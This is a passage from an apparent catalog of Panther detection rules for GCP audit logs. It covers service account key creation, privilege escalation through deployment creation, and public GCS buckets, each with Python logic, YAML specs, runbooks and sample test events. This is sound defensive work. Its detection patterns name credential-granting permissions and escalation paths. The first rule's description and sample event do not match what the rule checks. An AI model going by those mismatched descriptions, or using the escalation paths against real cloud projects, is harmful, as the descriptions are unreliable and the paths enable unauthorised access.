    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if (
            auth.get("permission") == "iam.serviceAccountKeys.create"
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.iam.serviceAccountKeys.create"
DisplayName: "GCP.Iam.ServiceAccountKeys.Create"
Description:
  If your user is assigned a custom IAM role, then iam.roles.update will allow you to update
  the “includedPermissons” on that role. Because it is assigned to you, you will gain the additional privileges,
  which could be anything you desire.
Enabled: true
Filename: gcp_iam_service_account_key_create.py
LogTypes:
  - GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
  Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
  in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
  them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
  IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
  mitigate these security risks.
Reports:
  MITRE ATT&CK:
    - TA0004:T1548

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is iam.serviceAccountKeys.create
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is iam.serviceAccountKeys.create

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "iam.serviceAccountKeys.create"
      }
    ],
    "methodName": "v2.deploymentmanager.deployments.insert",
    "serviceName": "deploymentmanager.googleapis.com"
  },
  "receiveTimestamp": "2024-01-19 13:47:19.465856238",
  "resource": {
    "labels": {
      "name": "test-vm-deployment",
      "project_id": "panther-threat-research"
    },
    "type": "deployment"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-19 13:47:18.279921000"
}

GCP.Privilege.Escalation.By.Deployments.Create

#
Severity
high
Log types
GCP.AuditLog
Reference
rhinosecuritylabs.com
Source
github.com/panther-labs/panther-analysis

Detects privilege escalation in GCP by taking over the deploymentsmanager.deployments.create permission

MITRE ATT&CK coverage

TacticTechniques
Privilege Escalation

Telemetry coverage

Detection logic

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
    if not authorization_info:
        return False

    for auth in authorization_info:
        if (
            auth.get("permission") == "deploymentmanager.deployments.create"
            and auth.get("granted") is True
        ):
            return True
    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
    project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")

    return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

AnalysisType: rule
RuleID: "GCP.Privilege.Escalation.By.Deployments.Create"
DisplayName: "GCP.Privilege.Escalation.By.Deployments.Create"
Description: "Detects privilege escalation in GCP by taking over the deploymentsmanager.deployments.create permission"
Enabled: true
Filename: gcp_privilege_escalation_by_deployments_create.py
LogTypes:
  - GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
  Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
  in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
  them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
  IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
  mitigate these security risks.
Reports:
  MITRE ATT&CK:
    - TA0004:T1548

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.authorizationInfo is present
  • any element of protoPayload.authorizationInfo matches all of:
    • protoPayload.authorizationInfo.permission is deploymentmanager.deployments.create
    • protoPayload.authorizationInfo.granted is true
  • protoPayload.authorizationInfo.permission is deploymentmanager.deployments.create

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "protoPayload": {
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "deploymentmanager.deployments.create"
      }
    ],
    "methodName": "v2.deploymentmanager.deployments.insert",
    "serviceName": "deploymentmanager.googleapis.com"
  },
  "receiveTimestamp": "2024-01-19 13:47:19.465856238",
  "resource": {
    "labels": {
      "name": "test-vm-deployment",
      "project_id": "panther-threat-research"
    },
    "type": "deployment"
  },
  "severity": "NOTICE",
  "timestamp": "2024-01-19 13:47:18.279921000"
}

GCS Bucket Made Public

#
Severity
high
Log types
GCP.AuditLog
Tags
GCP, Google Cloud Storage, Collection:Data From Cloud Storage Object
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Adversaries may access data objects from improperly secured cloud storage.

MITRE ATT&CK coverage

TacticTechniques
Collection

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_base_helpers import deep_get

GCS_READ_ROLES = {"roles/storage.objectAdmin", "roles/storage.objectViewer", "roles/storage.admin"}
GLOBAL_USERS = {"allUsers", "allAuthenticatedUsers"}


def rule(event):
    if event.deep_get("protoPayload", "methodName") != "storage.setIamPermissions":
        return False

    service_data = event.deep_get("protoPayload", "serviceData")
    if not service_data:
        return False

    # Reference: https://cloud.google.com/iam/docs/policies
    binding_deltas = deep_get(service_data, "policyDelta", "bindingDeltas")
    if not binding_deltas:
        return False

    for delta in binding_deltas:
        if delta.get("action") != "ADD":
            continue
        if delta.get("member") in GLOBAL_USERS and delta.get("role") in GCS_READ_ROLES:
            return True
    return False


def title(event):
    return (
        f"GCS bucket "
        f"[{event.deep_get('resource', 'labels', 'bucket_name', default='<UNKNOWN_BUCKET>')}] "
        f"made public"
    )

Rule specification

AnalysisType: rule
Filename: gcp_gcs_public.py
RuleID: "GCP.GCS.Public"
DisplayName: "GCS Bucket Made Public"
Enabled: true
DedupPeriodMinutes: 15
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Google Cloud Storage
  - Collection:Data From Cloud Storage Object
Reports:
  MITRE ATT&CK:
    - TA0009:T1530
Severity: High
Description: Adversaries may access data objects from improperly secured cloud storage.
Runbook: Validate the GCS bucket change was safe.
Reference: https://cloud.google.com/storage/docs/access-control/making-data-public
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is storage.setIamPermissions
  • protoPayload.serviceData is present
  • protoPayload.serviceData.policyDelta.bindingDeltas is present
  • any element of protoPayload.serviceData.policyDelta.bindingDeltas matches all of:
    • protoPayload.serviceData.policyDelta.bindingDeltas.action is ADD
    • protoPayload.serviceData.policyDelta.bindingDeltas.member is one of allUsers, allAuthenticatedUsers
    • protoPayload.serviceData.policyDelta.bindingDeltas.role is one of roles/storage.objectAdmin, roles/storage.objectViewer, roles/storage.admin
Alert deduplication
repeat matches within 15m group into one alert

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
bucket_nameresource.labels.bucket_name

Response runbook

Validate the GCS bucket change was safe.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "15cp9rve72xt1",
  "logName": "projects/western-verve-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "@type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user.name@runpanther.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "storage.buckets.setIamPolicy",
        "resource": "projects/_/buckets/jacks-test-bucket",
        "resourceAttributes": {}
      }
    ],
    "methodName": "storage.setIamPermissions",
    "requestMetadata": {
      "callerIp": "136.24.229.58",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2020-05-15T04:28:42.243082428Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us"
      ]
    },
    "resourceName": "projects/_/buckets/jacks-test-bucket",
    "serviceData": {
      "@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "policyDelta": {
        "bindingDeltas": [
          {
            "action": "ADD",
            "member": "allUsers",
            "role": "roles/storage.objectViewer"
          }
        ]
      }
    },
    "serviceName": "storage.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2020-05-15T04:28:42.900626148Z",
  "resource": {
    "labels": {
      "bucket_name": "jacks-test-bucket",
      "location": "us",
      "project_id": "western-verve-123456"
    },
    "type": "gcs_bucket"
  },
  "severity": "NOTICE",
  "timestamp": "2020-05-15T04:28:42.237027213Z"
}